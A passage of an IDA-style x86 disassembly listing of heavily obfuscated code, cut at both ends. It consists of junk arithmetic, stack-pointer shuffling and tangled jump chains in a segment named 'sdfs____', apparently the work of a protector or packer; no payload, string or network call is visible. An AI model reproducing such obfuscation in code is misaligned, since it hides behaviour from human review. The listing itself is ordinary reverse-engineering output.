; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_59517B:				; CODE XREF: sub_5941BD+46C0j
		push	[esp+10h+var_10]
		mov	eax, [esp+14h+var_14]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	[esp+1Ch+var_18]
		pop	ebp
		pop	dword ptr [esp+0]
		pop	esp
		sub	esp, 4
		mov	[esp+18h+var_18], ebx
		jmp	loc_598BA4
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5951A5:				; CODE XREF: sub_594228-A1Ej
		and	ecx, 5B205DBBh
		push	esi
		mov	esi, 499F6FC8h
		push	esi
		not	[esp+2+var_4+2]
		jmp	loc_58F699
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_5951BA:				; CODE XREF: sub_59587A:loc_590D59j
		add	edi, 24EF4273h
		jmp	loc_58FE94
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_5951C5:				; CODE XREF: sdfs____:00598369j
		xchg	esi, [esp]
		jmp	loc_59300B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5951CD:				; CODE XREF: sub_5917C0+65CFj
		sub	ebp, 2D5959BBh
		jmp	loc_58CA5F
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_5951D8:				; CODE XREF: sdfs____:0059036Aj
		add	esp, 4
		jmp	loc_596317
; ---------------------------------------------------------------------------


loc_5951E0:				; CODE XREF: sdfs____:0059424Fj
		mov	ecx, esi
		pop	esi
		add	esi, ecx
		pop	ecx
		mov	eax, esi
		pop	esi
		neg	eax
		jp	loc_59329C
		jmp	loc_596525
; ---------------------------------------------------------------------------


loc_5951F6:				; CODE XREF: sdfs____:0059594Ej
		mov	edx, 2
		sub	esi, 68B604Bh
		add	esi, edx
		add	esi, 68B604Bh
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_59726E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_595214:				; CODE XREF: sub_5962EB-3DB6j
		add	ebp, 8825B96h
		neg	ebp
		jmp	loc_5967C4
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_595221:				; CODE XREF: sdfs____:0059055Cj
		add	cl, 0A7h
		add	cl, dl
		sub	cl, 0A7h
		pop	edx
		sub	al, 2Bh
		jmp	loc_591AA5
; ---------------------------------------------------------------------------


loc_595231:				; CODE XREF: sdfs____:0058FA50j
					; sdfs____:005985E7j
		mov	ebx, [esp]
		jmp	loc_5949D9
; ---------------------------------------------------------------------------


loc_595239:				; CODE XREF: sdfs____:0059028Bj
		xchg	ebp, edx
		not	ebp
		xchg	ebp, edx
		sub	edx, 0CA737A33h
		add	eax, 53A4692Bh
		push	edx
		mov	edx, 433F5FD5h
		jmp	loc_594E24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595255:				; CODE XREF: sub_594228-3050j
		xor	[esp+6+var_4+2], ecx
		mov	ecx, [esp+6+var_8+2]
		add	esp, 4
		jmp	loc_595A6A
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_595264:				; CODE XREF: sdfs____:005903AFj
		sub	edx, 93E1DD3h
		dec	edx
		jmp	loc_58C4E0
; ---------------------------------------------------------------------------


loc_595270:				; CODE XREF: sdfs____:00598B68j
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		jmp	loc_590013
; ---------------------------------------------------------------------------


loc_59529E:				; CODE XREF: sdfs____:0058DE36j
		mov	ebx, 0D527B4h
		jmp	loc_58E311
; ---------------------------------------------------------------------------


loc_5952A8:				; CODE XREF: sdfs____:0058BE3Ej
		pop	esp
		shl	dword ptr [esp], cl
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5952B1:				; CODE XREF: sdfs____:0058D88Dj
					; sdfs____:0058DDB8j
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59376E
; ---------------------------------------------------------------------------


loc_5952C1:				; CODE XREF: sdfs____:00596482j
		pop	ebp
		add	esi, 7458435Bh
		sub	esi, eax
		sub	esi, 7458435Bh
		push	eax
		mov	eax, 47A17CEh
		and	eax, 5F83FE3h
		xor	eax, 6E0F3C68h
		add	eax, 0C320D857h
		add	esi, eax
		pop	eax
		jmp	loc_593647
; ---------------------------------------------------------------------------


loc_5952ED:				; CODE XREF: sdfs____:0058FE2Fj
		pop	edx
		add	al, cl
		pop	ecx
		jmp	loc_58D1F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590CC3


loc_5952F6:				; CODE XREF: sub_590CC3+5845j
		add	esp, 4
		sub	ebx, edx
		mov	edx, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		jmp	loc_58BBAD
; END OF FUNCTION CHUNK	FOR sub_590CC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_595318:				; CODE XREF: sub_594228-6F0Cj
		add	edx, 626233DCh
		push	[esp+22h+var_24+2]
		pop	eax
		add	esp, 4
		add	edx, 4
		xor	edx, [esp+1Eh+var_20+2]
		xor	[esp+1Eh+var_20+2], edx
		xor	edx, [esp+1Eh+var_20+2]
		pop	esp
		add	esp, 4
		jmp	loc_58FD5F
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_59533D:				; CODE XREF: sub_594F18-55B0j
		mov	[esp+4+var_4], eax
		push	edi
		push	52E428F6h
		pop	edi
		shr	edi, 8
		inc	edi
		jmp	sub_5941BD
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------


loc_595350:				; CODE XREF: sdfs____:00591CE8j
		mov	edi, 4
		add	ecx, edi
		jmp	loc_593619
; ---------------------------------------------------------------------------


loc_59535C:				; CODE XREF: sdfs____:0058F7C2j
		add	esi, ebp
		pop	ebp
		jmp	loc_59537C
; ---------------------------------------------------------------------------


loc_595364:				; CODE XREF: sdfs____:0058F57Bj
		shl	ebx, 3
		not	ebx
		shr	ebx, 6
		jmp	loc_594701
; ---------------------------------------------------------------------------


loc_595371:				; CODE XREF: sdfs____:0058E1CFj
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_59817A
; ---------------------------------------------------------------------------


loc_59537C:				; CODE XREF: sdfs____:0059535Fj
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_58EF16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EB23


loc_595386:				; CODE XREF: sub_58EB23+1E59j
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_58EB23
; ---------------------------------------------------------------------------


loc_59538B:				; CODE XREF: sdfs____:0058FEDBj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		pop	edi
		push	eax
		mov	eax, 69F74F6Fh
		jmp	loc_591D28
; ---------------------------------------------------------------------------


loc_5953A9:				; CODE XREF: sdfs____:005947B0j
		sub	ecx, 3EEF7D3h
		jmp	loc_5913F5
; ---------------------------------------------------------------------------


loc_5953B4:				; CODE XREF: sdfs____:005980B0j
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 76911E70h
		mov	edx, eax
		pop	eax
		inc	edx
		jmp	loc_58F9A2
; ---------------------------------------------------------------------------


loc_5953CC:				; CODE XREF: sdfs____:00596D7Cj
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		push	ecx
		mov	ecx, 3FC8528Ch
		mov	ebx, ecx
		pop	ecx
		xor	edx, ebx
		pop	ebx
		inc	edx
		xor	edx, 16FF604Bh
		not	edx
		not	edx
		add	edx, 0A7EDE286h
		jmp	loc_596B57
; ---------------------------------------------------------------------------


loc_5953F8:				; CODE XREF: sdfs____:005916EFj
		not	esi
		not	esi
		sub	esi, 0FFFFFFFFh
		dec	esi
		jo	loc_58EE9E
		push	10CBh
		mov	[esp], ecx
		push	esi
		mov	esi, 569E16FFh
		sub	esi, 4C776A6Bh
		and	esi, 7DD13CD8h
		jmp	loc_5903B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_595425:				; CODE XREF: sub_58FE99+4D5Dj
		add	esi, 70392FDBh
		jl	loc_596191
		dec	esi
		jmp	loc_597B84
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_595437:				; CODE XREF: sub_591435+B9Fj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		sub	esi, 4
		jmp	loc_593C16
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59544A:				; CODE XREF: sdfs____:00593848j
		sub	esp, 4
		mov	[esp], ebp
		push	7CE8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ebx
		push	edx
		push	720E5BCDh
		jmp	loc_5920CD
; ---------------------------------------------------------------------------


loc_59546F:				; CODE XREF: sdfs____:0058C648j
		push	bx
		jmp	loc_58DEA1
; ---------------------------------------------------------------------------


loc_595476:				; CODE XREF: sdfs____:00590317j
		sub	ecx, 909B9B12h
		add	ebp, ecx
		pop	ecx
		not	ebp
		push	ebx
		jmp	loc_5977CE
; ---------------------------------------------------------------------------


loc_595487:				; CODE XREF: sdfs____:0058CDA1j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59548C:				; CODE XREF: sub_5962EB-2A5Ej
		and	eax, ebx
		jmp	loc_58E579
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_595493:				; CODE XREF: sdfs____:00593042j
		dec	ecx
		inc	ecx
		dec	ecx
		xor	ecx, 16D44B84h
		shr	ecx, 6
		push	eax
		mov	eax, 1617C11h
		jmp	loc_5932BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5954AA:				; CODE XREF: sub_591435-55DAj
		mov	edi, 6A4B183Dh
		jmp	loc_58F461
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596F8A


loc_5954B4:				; CODE XREF: sub_596F8A+7j
		mov	[esp+8+var_8], ebx
		push	ebx
		push	380h
		mov	[esp+10h+var_10], ebp
		push	14DC74FFh
		pop	ebp
		push	esi
		mov	esi, 476376E8h
		mov	ebx, esi
		pop	esi
		sub	ebx, ebp
		pop	ebp
		xor	[esp+0Ch+var_8], ebx
		mov	ebx, [esp+0Ch+var_C]
		jmp	loc_590716
; END OF FUNCTION CHUNK	FOR sub_596F8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_5954DE:				; CODE XREF: sub_5BB696-2DE84j
		mov	[esp+1Eh+var_20+2], edx
		mov	dl, 6Dh
		sub	dl, 0Ch
		sub	ch, 4
		add	ch, 0C8h
		sub	ch, dl
		sub	ch, 0C8h
		add	ch, 4
		pop	edx
		add	ch, 4Ah
		shl	ch, 7
		shr	ch, 3
		sub	ch, 1
		xor	ch, 97h
		xor	al, ch
		pop	ecx
		push	ecx
		push	ebx
		mov	bl, 89h
		add	bl, 0B9h
		push	eax
		mov	ah, 6Fh
		xor	ah, 0F4h
		add	bl, 0A0h
		add	bl, ah
		push	cx
		mov	cl, 0A0h
		sub	bl, 61h
		sub	bl, cl
		add	bl, 61h
		pop	cx
		pop	eax
		xor	bl, 71h
		jle	loc_596153
		jmp	loc_59194A
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------
		add	edx, 4
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_59553C:				; CODE XREF: sub_5BB696-2E055j
					; sdfs____:0058DF64j
		not	edx
		xchg	edx, [esp+1Eh+var_20+2]
		pop	edi
		add	edi, 2CDA3C20h
		xchg	eax, edi
		not	eax
		jmp	loc_58F906
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_595550:				; CODE XREF: sdfs____:00595911j
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 7AE655A7h
		add	ecx, 4E1A4B39h
		sub	ecx, 2611C08h
		sub	ecx, 4C824105h
		add	ecx, ebx
		add	ecx, 4C824105h
		add	ecx, 2611C08h
		sub	ecx, 4E1A4B39h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edi
		jmp	loc_597383
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5955A4:				; CODE XREF: sub_591435-454Aj
		push	esi
		mov	esi, 4
		sub	ecx, esi
		jmp	loc_596A16
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_5955B1:				; CODE XREF: sub_5987BC-C383j
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		xchg	eax, esi
		push	esi
		jmp	loc_592938
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_5955BE:				; CODE XREF: sdfs____:00598D5Aj
		sub	al, 4Bh
		xor	al, 0CFh
		sub	bl, al
		pop	eax
		jmp	loc_5943A3
; ---------------------------------------------------------------------------


loc_5955CA:				; CODE XREF: sdfs____:0059722Fj
		sub	eax, ebx
		jmp	loc_592AB7
; ---------------------------------------------------------------------------


loc_5955D1:				; CODE XREF: sdfs____:0058BCF2j
		mov	[esp], ecx
		jmp	loc_58F105
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5955D9:				; CODE XREF: sub_5917C0+2D3Cj
		pop	edi
		sub	eax, ecx
		pop	ecx
		mov	esi, [esp+0Eh+var_10+2]
		add	esp, 4
		push	6BE8h
		mov	[esp+0Eh+var_10+2], edi
		push	esi
		jmp	loc_59878C
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_5955F4:				; CODE XREF: sdfs____:005928F1j
		pop	esi
		jmp	loc_595BD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5955FA:				; CODE XREF: sub_591435-1531j
					; sub_591435-2E7j
		push	ecx
		push	[esp+0Eh+var_C+2]
		pop	ecx
		pop	[esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_595609:				; CODE XREF: sub_5962EB-4402j
		pop	ecx
		pop	[esp+8+var_8]
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	73F0h
		mov	[esp+4+var_4], esi
		mov	esi, 1F637FCh
		add	esi, 242D0848h
		jle	loc_594179
		inc	esi
		add	esi, 0FFFFFFFFh
		dec	esi
		push	esi
		jmp	loc_58DEEE
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59563D:				; CODE XREF: sdfs____:00592CD2j
					; sub_594228+3C8Aj
		pop	ebx
		jmp	loc_58E8EC
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_595643:				; CODE XREF: sub_5987BC-C06Dj
		add	esp, 4
		jmp	loc_598254
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_59564E:				; CODE XREF: sdfs____:0059456Aj
		push	ecx
		mov	ecx, 2
		jmp	loc_58BF55
; ---------------------------------------------------------------------------


loc_595659:				; CODE XREF: sdfs____:0059220Aj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5962B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59566E:				; CODE XREF: sub_5962EB-97D1j
		mov	eax, 0AE75B83h
		jmp	loc_5941C8
; END OF FUNCTION CHUNK	FOR sub_5962EB

; =============== S U B	R O U T	I N E =======================================



sub_595678	proc near		; CODE XREF: sub_594228+454Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058CC16 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058FB10 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592B4E SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00592C22 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00593A75 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00594B1D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00594F55 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00595D4B SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00597251 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005977EC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00598557 SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+0], esp
		jmp	loc_598557
sub_595678	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_595683:				; CODE XREF: sub_591370+76A3j
		add	edi, ebx
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		push	ecx
		jmp	loc_58BD2F
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_595692:				; CODE XREF: sdfs____:00597518j
		add	esi, eax
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5D95275Eh
		add	esi, edx
		pop	edx
		pop	eax
		add	esi, 4
		jmp	loc_593892
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_5956AB:				; CODE XREF: sub_5985AE-3F2j
		and	eax, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		or	eax, eax
		jz	loc_592A88
		push	dword ptr [edi+28h]
		push	5E9Ah
		mov	[esp+8+var_8], esi
		push	60EE7827h
		pop	esi
		jmp	loc_591A26
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5956D1:				; CODE XREF: sub_5917C0-1EFAj
		mov	dl, 1Bh
		push	cx
		mov	ch, 0D0h
		add	dl, ch
		jmp	loc_59873F
; ---------------------------------------------------------------------------


loc_5956DE:				; CODE XREF: sub_5917C0+543Ej
		mov	ecx, 68954810h
		add	ecx, 17533205h
		push	edi
		mov	edi, 230D4A44h
		dec	edi
		jmp	loc_5944F1
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_5956F5:				; CODE XREF: sdfs____:0059659Aj
		push	edi
		mov	edi, 223C350Ah
		xor	edi, 35EA37AFh
		sub	ebp, edi
		pop	edi
		jmp	loc_594EAB
; ---------------------------------------------------------------------------


loc_595709:				; CODE XREF: sdfs____:00598B83j
		mov	eax, esp
		jmp	loc_58E5EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_595710:				; CODE XREF: sub_5917C0-5687j
		push	esi
		push	24406892h
		pop	esi
		shr	esi, 8
		jnp	loc_592C5E
		add	esi, 0CF84D17h
		jns	loc_5933B9
		mov	dh, ah
		mov	ax, [esp+0]
		push	edx
		jmp	loc_596CF2
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_595738:				; CODE XREF: sdfs____:005971B1j
		add	ebx, eax
		pop	eax
		add	ebx, 0CFB5BCF7h
		sub	edx, 5E964F86h
		add	edx, ebx
		add	edx, 5E964F86h
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2
		jmp	loc_58F621
; ---------------------------------------------------------------------------


loc_595763:				; CODE XREF: sdfs____:005986C8j
		add	esp, 4
		jmp	loc_59619D

; =============== S U B	R O U T	I N E =======================================



sub_59576E	proc near		; CODE XREF: sub_590561+7BB9j

var_10		= dword	ptr -10h
var_6		= dword	ptr -6
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058C6DB SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0058D00E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0058D3CD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058DF69 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058E826 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058F134 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058F749 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058FDA2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00590113 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00590688 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00590BEA SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00590E32 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005917C8 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 005927B7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00593832 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00595062 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00595EF0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00596810 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005969AB SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00596A48 SIZE 00000011 BYTES

		push	ebp
		jmp	loc_58D3CD
sub_59576E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 2C76A5Fh
		shl	ecx, 1
		jmp	loc_58FF51
; ---------------------------------------------------------------------------


loc_59578D:				; CODE XREF: sdfs____:0058C836j
		mov	[esp], edx
		push	esp
		jmp	loc_593AB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DB37


loc_595796:				; CODE XREF: sub_58DB37-10Dj
		push	ax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_58DB37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59579E:				; CODE XREF: sub_594228-BA4j
		sub	esi, 27B10321h
		sub	esp, 4
		jmp	loc_593A28
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_5957AC:				; CODE XREF: sdfs____:0058E3A5j
		add	esp, 4
		jmp	loc_5946DC
; ---------------------------------------------------------------------------


loc_5957B4:				; CODE XREF: sdfs____:00598221j
		pop	esi
		xchg	edx, [esp]
		pop	esp
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5957C3:				; CODE XREF: sdfs____:0058C590j
		xor	ebx, 48CB5598h
		jmp	loc_5972CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_5957CE:				; CODE XREF: sub_5917C0-4078j
		mov	ebx, 0EF40A6Dh
		mov	ebp, ebx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		sub	ebp, 0D85E8C0Bh
		sub	ebx, ebp
		mov	ebp, [esp-8+arg_4]
		jmp	loc_5964A1
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5957EE:				; CODE XREF: sub_591435-3E15j
		xor	eax, ebp
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		push	ebx
		mov	ebx, 491C175Fh
		mov	ebp, 0B6E3E8A2h
		push	ebx
		jmp	loc_595C81
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_59580A:				; CODE XREF: sdfs____:0059840Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_59419F
; ---------------------------------------------------------------------------


loc_595825:				; CODE XREF: sdfs____:005913FCj
		mov	ch, 0A0h
		add	bl, 0C8h
		sub	bl, 16h
		add	bl, ch
		push	eax
		mov	al, 0Ah
		dec	al
		not	al
		sub	al, 0E0h
		add	bl, al
		pop	eax
		sub	bl, 0C8h
		pop	cx
		add	bl, dh
		sub	bl, 0A0h
		pop	edx
		jmp	loc_59134C
; ---------------------------------------------------------------------------


loc_59584B:				; CODE XREF: sdfs____:005962ACj
		push	2567786h
		pop	ebx
		shr	ebx, 2
		shr	ebx, 3
		js	loc_594B8C
		jmp	loc_597337
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598A21


loc_595862:				; CODE XREF: sub_598A21-7B3Cj
		add	eax, 249846FBh
		pop	edi
		add	eax, 4
		jmp	loc_58D8DD
; END OF FUNCTION CHUNK	FOR sub_598A21
; ---------------------------------------------------------------------------


loc_595872:				; CODE XREF: sdfs____:0058CFACj
		xchg	edx, [esp]
		jmp	loc_590862

; =============== S U B	R O U T	I N E =======================================



sub_59587A	proc near		; CODE XREF: sub_5941BD-4543j
					; sdfs____:005939CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0058B9CB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058C35E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C3FE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058C4B9 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D2C6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058D89A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058DBC5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058E263 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0058F160 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058F706 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058FE94 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00590A48 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590D59 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00590E70 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00591475 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059170D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005919BA SIZE 00000040 BYTES
; FUNCTION CHUNK AT 00592793 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 005927BF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005929CF SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00593D71 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00593DE7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00594808 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00594A6A SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005951BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059597F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059650D SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005965B4 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059677A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596B2A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597CAD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597E85 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059831B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005986CD SIZE 00000032 BYTES
; FUNCTION CHUNK AT 00598806 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598AB5 SIZE 0000000D BYTES

		push	ebp
		jmp	loc_590A48
sub_59587A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_595880:				; CODE XREF: sdfs____:00593410j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		jmp	loc_5964B0
; ---------------------------------------------------------------------------


loc_59588D:				; CODE XREF: sdfs____:0059817Bj
		pop	edx
		push	edi
		mov	edi, esp
		jmp	loc_58BB55
; ---------------------------------------------------------------------------


loc_595896:				; CODE XREF: sdfs____:0058D57Dj
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		push	ecx
		mov	ecx, 4
		jmp	loc_58FFC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_5958BA:				; CODE XREF: sub_5941BD-A29j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	eax
		push	ebx
		push	53D25EF1h
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		push	693Bh
		jmp	loc_58C202
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_5958DD:				; CODE XREF: sdfs____:0058BB64j
